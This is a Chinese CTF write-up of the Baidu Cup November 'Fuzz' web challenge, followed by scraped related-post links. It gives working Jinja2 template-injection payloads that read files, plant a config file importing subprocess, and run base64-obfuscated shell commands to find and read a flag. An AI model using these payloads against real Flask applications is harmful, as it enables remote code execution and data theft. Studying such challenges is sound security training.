“百度杯”CTF比赛十一月场Fuzz

题目提示plz fuzz parameter

用burp跑一下参数，得到参数是name

访问

一般到这一步我会尝试注入，但是会发现会一直回显输入的值，转而考虑是否为python模板注入，进行测试：证明是python注入无疑

进行文件读取：

/?name={{%27%27.__class__.__mro__[2].__subclasses__()[40](/etc).read()}}

到这里想尝试使用命令执行语句，但是发现被过滤，思路到这里结束，参考大佬wp：i春秋Fuzz - 走看看

知道这里需要向SSTI漏洞注入

利用公开的payload命令执行

name=%7B%7B ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') %7D%7D

解释：向远程服务器写入一个文件，当编译完成为subprocess模块引入check_output方法，并将其设置指向变量RUNCMD

name=%7B%7B config.from_pyfile('/tmp/owned.cfg') %7D%7D

解释：向config对象添加一个新项

name=%7B%7B%20config[%27RUNCMD%27](%27/usr/bin/id%27,shell=True)%20%7D%7D

解释：通过向SSTI漏洞注入来检测是否成功

后面利用ls进行文件读取，打算发现被过滤，这里利用base64编码在解码进行绕过

?name={{ config['RUNCMD']('`echo bHMK | base64 -d`',shell=True) }}

接下来ls al读取文件

?name={{ config['RUNCMD']('`echo bHMgLWFsCg== | base64 -d`',shell=True) }}

接下来就可以利用ls var/www/html读取

?name={{ config['RUNCMD']('`echo bHMgLWFsIC92YXIvd3d3L2h0bWwK | base64 -d`',shell=True) }}

看到有fl4g这个文件，对其进行读取

?name={{ config['RUNCMD']('`echo Y2F0IC92YXIvd3d3L2h0bWwvZmw0Zwo= | base64 -d`',shell=True) }}

“百度杯”CTF比赛十一月场Fuzz相关推荐

“百度杯”CTF比赛十一月场Look
最近一直在刷百度杯的题目,感觉每个题目都能涉及到很多知识点,写点wp记录一下进入后看见页面空白,这个时候一般用dirsearch扫一下,同时burp抓包看一下看到响应头里有X-HT,这应该是一个提 ...
“百度杯”CTF比赛十一月场Mangager
此题前半部分分析见"百度杯"CTF比赛十一月场题目名称:Mangager_CodeRoc的博客-CSDN博客每日CTF Web:Mangager_LUV_YOUJUN的博客- ...
“百度杯”CTF比赛十一月场 - 敲击
题目内容: 方方格格,不断敲击 "wdvtdz qsxdr werdzxc esxcfr uygbn" flag格式为:flag{小写的字符串} 解题思路密文全是小写字母,提示是 ...
“百度杯”CTF比赛十一月场 - 贝丝家族
题目内容: 我喜欢贝丝,但是贝丝的表妹喜欢我还给了我一封情诗 MZWGCZ33MVZGQZLJL5STQOJTGRPWK4SVJ56Q==== 解题思路由于结尾有四个 = ,所以不再可能是 Bas ...
“百度杯”CTF比赛十一月场 - 嘀嘀嘀
题目内容: --. .-- .- --. . --- .---- -.-. .- - -.-. -- --- --- -- -- ----. --- -- -- .- --- --- ----. -- ...
“百度杯”CTF比赛十月场 writeup
"百度杯"CTF比赛十月场 Misc 那些年我追过的贝丝我要变成一只程序员剧情大反转 challenge 据说是rc4算法 try again 表姐家的签到题泄露的数据考眼 ...
“百度杯”CTF比赛九月场--web Upload
"百度杯"CTF比赛九月场--web Upload 基础知识 1.什么是一句话木马? 2.一句话木马的简要原理 3.html渲染过程解析渲染该过程主要分为以下步骤解决方案 4 ...
[WEB攻防] i春秋- “百度杯”CTF比赛十二月场-YeserCMS cmseasy CmsEasy_5.6_20151009 无限制报错注入复现过程
中华人民共和国网络安全法(出版物)_360百科可以说一道经典的CTF题目,解这道题的过程类似于我们渗透测试的过程,所以把它放在了这个专栏,在这里我们详细讲过程,而不是原理. 目录题目寻找方向 f ...
“百度杯”CTF比赛十月场 Login
"百度杯"CTF比赛十月场 Login 1 进去就是一个长得还可以的登入界面,查看源码没看到注释,以为没有,开始对其进行sql注入测试,在 burp suite多次尝试,没找到注 ...

“百度杯”CTF比赛十一月场Fuzz

“百度杯”CTF比赛十一月场Fuzz相关推荐

最新文章

热门文章

“百度杯”CTF比赛 十一月场Fuzz

“百度杯”CTF比赛 十一月场Fuzz相关推荐

最新文章

热门文章

“百度杯”CTF比赛十一月场Fuzz

“百度杯”CTF比赛十一月场Fuzz相关推荐